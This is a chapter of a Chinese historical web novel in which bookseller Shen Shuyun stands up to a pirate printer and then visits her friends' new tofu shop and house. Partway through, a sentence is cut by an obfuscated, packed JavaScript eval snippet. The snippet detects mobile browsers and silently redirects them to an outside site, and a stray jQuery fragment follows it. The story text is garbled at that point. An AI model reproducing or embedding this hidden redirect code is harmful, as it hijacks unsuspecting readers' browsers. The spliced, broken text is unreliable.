“我劝你识时务者为俊杰,把原版卖给我,我俩利润三七分,你三我七,反正是个娘们儿,能干出什么名堂?”
话音刚落,沈书韫猛地后退了一步,不小心还撞翻了身后的书架,几本盗版书一时间散落在地,内页上露出几近扭曲的字形。
她弯腰拾起,指着其中被印反的一页,“甄掌柜,您连‘左右’都能刻反,真是少见的人才,你到底懂不懂什么叫做书册?”
甄掌柜避重就轻,东拉西扯,“清高什么?”
“你还不是靠男人,舔着脸在这儿,同我讲什么敬畏之心,讲什么是书册!我呸!”甄掌柜又将声音提到隔壁铺面都能听见。
突然间,店内安静下来,所有人的目光都转向那一页印反的错版上。
此时,一个中年秀才手里牵着的孩童,正好与书页齐头,指着它天真地说,“爹爹,它们好像在照镜子呀!咯咯......”
甄掌柜脸色瞬间由红变绿,一把拽过沈书韫手里的错版书,当场撕了两半。
大声吼来,“你给我滚出去,臭娘们儿,不卖就别在这儿碍着我的生意。”
沈书韫并未被眼前无理又粗暴的男子吓住,她伸手用力握了握另一只手,挺了挺腰背。
又弯下腰,将撕毁的书页一片片拾起,撩了撩有些飞乱的裙摆,跨步准备离开。
旋即,又忽地转身向周遭的学子说道,“明天起,‘七雅书铺’会推出借阅书籍的方式让大家看更多的好书,也就是不需要买书,可以从书铺借书。”
“任何想要学习《四书章句集注》的人,都可以来借,我定以最低价借出正版,而不是现在这般粗制滥造的版本。”
语落,店铺内矗立的学子一片哗然,沈书韫身后传来甄掌柜气急败坏的叫骂,以及学子们交头接耳的窃窃私语。
走出“文汇斋”来到街上,沈书韫抬眸看向天际,阳光刺痛了双眸,她低头看向手中的残页,一滴泪水落在“集”字上,墨迹微微晕开。
不一会儿,耳边传来熟悉的声音。
“姐姐,娘子!”原来是阿香,她气喘吁吁地跑来。
“邹举人带了几位同窗在铺子里等你,说是一定要买《四书章句集注》的正版。”
沈书韫擦去眼泪,将几页纸顺势拢入袖中,同阿香快步回了“七雅书铺”。
到了书铺门口,沈书韫并没有马上进去,而是缓缓抬头看了看牌匾。
“七雅书铺”四个大字,在阳光下泛着温润的光泽,那是阿爹起的名,亲手凿刻的字。
那些叮嘱仍言犹在耳,就好像这四个字一般,历经风雨永不褪色,亦用不退让。
沈书韫对阿香笑了笑,“走吧。”她轻柔地说道。
同邹举人和学子们做了一笔生意,而这次卖书却比任何一次都让人更有成就感,沈书韫还赠送了大家精美的册子,以表谢意。
她内心坚信真正的学问是经得起任何风浪的,正版书亦是。
当日晚上,柳摇金和苏二娘一同从西市回来,在书铺与沈书韫一同商量事情。
“我要搬家了,大妹子!”苏二娘一脸笑盈盈地说道。
沈书韫一时不敢相信,抿了抿嘴,“在这个小房间还是委屈你了。”说着看向苏二娘住的小房间,脸上一抹淡淡的失落。
“什么时候搬?”沈书韫问了一句,垂目低首,盗版书的事情到现在,依旧如鲠在喉,虽然方才高兴了一会儿,可天天相依为命的姐妹,如今就要离自己而去了......
一时间伤感涌上心田,再窜上鼻尖,化作汩汩眼泪,瞬间噙满双目,在红色血丝见证下,夺眶而出。
柳摇金和苏二娘一时间面对沈书韫的反应,有些手足无措。
平常和她开玩笑都是一副百毒不侵的样子,今日话头都还尚未完全打开,就败下阵了?这着实令他们二人有些震惊。
惹哭了,好了,得想办法哄好!
柳摇金和苏二娘原本坐在院子藤椅上,即刻,起身半蹲在沈书韫旁边。
“书韫!”
“大妹子!”
“我们本想给你一个惊喜,就不知怎样才好,于是就想和你开开玩笑嚒,我们不是有意要欺骗你。”
苏二娘伸手想要轻轻地摇一摇沈书韫,却不知道自己的力道是藤椅,以及藤椅上身轻的沈书韫所不能承受的。
苏二娘激动得两下一摇,竟将沈书韫摇出半截藤椅,要不是一旁的柳摇金迅速拉住,沈书韫整个人恐怕都被摇趴地上了。
沈书韫此刻情绪浓烈达到极点,又加上之前甄掌柜的一番羞辱,尚未完全褪去,在心里打转。
“倏”地一下眼泪飙了出来。
今日这般脆弱?是遇到了什么事?还是受了什么委屈?
苏二娘一时手足无措,站在原地张牙舞爪,左手打右手,右手拍左手,上演自我“惩罚”。
自言自语,“我叫你吃得多,力气大,还把大妹子差点扔出去,我叫你吃得多,拉得多,把大妹子差点搞蒙啦......”
沈书韫一听苏二娘在那瞎念经,而柳摇金又在一旁不断地解释。
二人双双道歉,说是看她整日在刻房和印刷铺之间忙碌,为了不让她过于操心,便把租房搬家这件事俩人一合计商议,就办了。
原想着,因为他们就搬来“七雅书铺”对面,整日亦是门对门,窗对窗的,想来沈书韫亦不会反对,况且,还给她留了一个房间和一处绝好的地儿。
大体就是能解决的,二人自个儿解决了,解决不了的,再请沈掌柜出马。
沈书韫看着二人好似唱双簧,面前不断地比划,忍不住笑了,说话时还破了音,“那王举人呢?”
“他几乎日日都要来书铺转转,同我说两句话,说到他,我确实有些日子没见着了,也怪我,天天忙东忙西的。”
柳摇金说王举人告老还乡了,正好腾出这么个地儿,和苏二娘眼都不眨地就租了下来。
“大妹子,都收拾好了,其实,今天我们今天就是想带你去认门儿。”
沈书韫对对面可太熟悉了,不过说到熟悉,亦不过是外观,她听这么一说,的确很好奇,他们收拾成什么样了?
王举人的宅子原本是一座不起眼的两层小楼,青砖黛瓦,檐角微翘。
门楣上从前悬挂着的是褪了色的匾额,匾额上写着“听松居”,沈书韫定睛一看,如今换成了新鲜的“梅花苑”。
名字还是苏二娘起的,从“宝剑锋从磨砺出,梅花香自苦寒来”得出的名儿。
听罢,沈书韫一改委屈的脸色,露出不可思议的表情,直勾勾看向苏二娘,“哟!我们二娘亦是有文化的人嘛!”
苏二娘一
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15929015|177173||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
溜烟,转到沈书韫跟前来,得意地拍了拍她圆润的胸脯,爽朗地应声,“那是!近黑者黑,近朱者郝。”
语落,沈书韫和柳摇金“噗呲”一笑,迅速转为开怀大笑。
“哈哈哈。”
“那叫近墨者黑,近朱者赤,我的二娘嚒!”柳摇金笑岔气,拿着扇子抵住她胸口。
沈书韫打着嗝继续笑,“她这么说亦是没错处的......”
苏二娘能把“赤”字升高难度,念成“郝”,全赖在通县时,隔壁邻居有一个女子叫“郝花瓶”。
那时,苏二娘觉得这个名字很奇怪,反反复复向沈书韫叨叨过,就这么水灵灵地记下,现在还滑溜地用上了。
“讨厌,要不要继续!”苏二娘跺了跺脚,一个人跑着进了宅子,躲了起来。
沈书韫二人叉着笑疼的腰,向对方使了个眼色,又转向宅子。
二人完全推开宽大的木门,迎面便是一方青石板铺就的天井,居中央,沿着深深浅浅的绳索痕,好像在诉说着它的年岁。
旁边是两眼灶,可以放置两口大锅,这里原是王举人母亲的“战场”,他的母亲亦靠制卖豆腐,将王举人拉扯大,并一直支持他的科考之路。
并且,对周围人亦是友善相待,所以,从始至终,他母亲操持的豆腐生意都特别好。
可很奇怪的是,王举人学问再深厚,每一次考试总会出现各种突发事件,以至屡屡落榜,但她的母亲依然鼓励他继续科考。
直到王举人五十岁的一年,才勉强考中了一个举人,亦是这一年,他的母亲与世长辞了。
王举人为了纪念他的母亲,将天井、石磨都保存的很好,希望有一天需要之人再次重启她们。
听说苏二娘亦制卖豆腐,想要借此租房卖豆腐,王举人欣然答应。
他甚至一度认为是母亲在天之灵,在引导他,继续将她老人家“与人为善、勤劳致富”的理念发扬光大。
所以,看在同为卖豆腐的女子,他便二话不说,爽利地租了。
只要答应将它们尽量保护好,便是极好,也算是母亲善意的“另一种传递”。
天井的左侧原是书房位置,当年王举人为了照顾母亲,主动将此摆了两盘石磨。
磨盘上似乎还有经年累月留下的点点豆腐渣痕,在光亮中泛着湿润的光。
墙角用作置放竹篓和箩筐的地儿。
苏二娘的豆腐作坊就设在这前院,宅子的一楼被改造成豆腐铺面。
原本的厅堂里,王举人题写的“宁静致远”的匾额下,如今摆着三丈榆木条案,上面便可摆作一块一块的豆腐。
靠墙的博古架上面,青花瓷换成了大大小小的陶罐儿,里面打算盛放酱油、豆豉和各色酱菜。
穿过厅堂,往后院去,要经过一条窄窄的走廊,这里原本挂着王举人祖宗的画像,如今空了,柳摇金建议换成了晾豆腐用的竹帘。
后院比前院可幽静多了,一株老梅斜倚在墙角,树下摆放着石桌石凳子,这里是品茶会友的雅处。
其实这一处,是他们二人专门为沈书韫预留的,就她自己安排咯!
“七雅书铺”后院会客的地方,实在是太寒碜了,倘若以后生意做大了,还在小院会客,亦配不上她沈老板,他们是这般打算的。
宅子的精华,定数二楼了!